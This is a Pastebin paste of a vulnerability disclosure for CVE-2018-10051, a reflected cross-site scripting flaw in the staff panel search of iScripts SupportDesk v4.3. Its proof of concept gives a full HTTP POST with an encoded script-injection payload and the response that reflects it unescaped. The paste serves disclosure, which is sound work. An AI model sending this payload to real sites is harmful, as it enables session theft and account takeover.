Advertisement
ManhNho

CVE-2018-10051

Apr 11th, 2018
3,886
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.27 KB | None | 0 0
  1. # Exploit title: iScripts SupportDesk v4.3 - XSS via the getInteligentSearch() Staff Panel
  2. # Date: 11/04/2018
  3. # Exploit Author: ManhNho
  4. # Vendor Homepage: https://www.iscripts.com
  5. # Software Link: https://www.iscripts.com/supportdesk/
  6. # Demo Link: https://www.demo.iscripts.com/supportdesk/demo/staff/staffmain.php
  7. # Version: 4.3
  8. # CVE: CVE-2018-10051
  9. # Tested on: Windows 10 / Kali Linux
  10. # Category: Webapps
  11.  
  12.  
  13. #1. Description
  14. -----------------------------------------------------
  15. iScripts SupportDesk v4.3 has XSS via the getInteligentSearch() function parameter in Staff Panel.
  16.  
  17.  
  18. #2. Proof of Concept
  19. -----------------------------------------------------
  20.  
  21. Request:
  22.  
  23. POST /supportdesk/demo/staff/inteligentsearchresult.php HTTP/1.1
  24. Host: www.demo.iscripts.com
  25. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0
  26. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  27. Accept-Language: en-GB,en;q=0.5
  28. Accept-Encoding: gzip, deflate
  29. Referer: https://www.demo.iscripts.com/supportdesk/demo/staff/staffmain.php
  30. Content-Type: application/x-www-form-urlencoded
  31. Content-Length: 98
  32. Cookie: __utma=227100805.298811387.1522637403.1523415936.1523431492.7; __utmz=227100805.1522637403.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); messagesUtk=9ae2fcc5306f4d9c8d433f0f58efb968; PHPSESSID=44f6a6jfopm97kfrv7ccsfqub2; __utmc=227100805; __utma=129714457.1603653646.1523416273.1523416273.1523416273.1; __utmc=129714457; __utmz=129714457.1523416273.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmb=227100805; hs-messages-is-open=false
  33. Connection: close
  34. Upgrade-Insecure-Requests: 1
  35.  
  36. txtinteligentsearch=%27%3E%3Cscript%3Ealert%28%271%27%29%3C%2Fscript%3E&btninteligentsearch=Search
  37.  
  38. Response:
  39.  
  40. HTTP/1.1 200 OK
  41. Date: Wed, 11 Apr 2018 07:29:11 GMT
  42. Server: Apache
  43. Expires: Thu, 19 Nov 1981 08:52:00 GMT
  44. Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
  45. Pragma: no-cache
  46. Connection: close
  47. Content-Type: text/html
  48. Content-Length: 84927
  49. ...
  50. <th style="text-decoration:none;"><b><a href='?val=vRefNo&txtinteligentsearch='><script>alert('1')</script>&sorttype=DESC&tp=&cmbDepartment=&frm=&to=&numBegin=&start=&begin=&num=&mt=y&stylename=&styleminus=&styleplus='>Ref No</a></b>&nbsp;&nbsp;</th>
  51.  
  52. ...
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement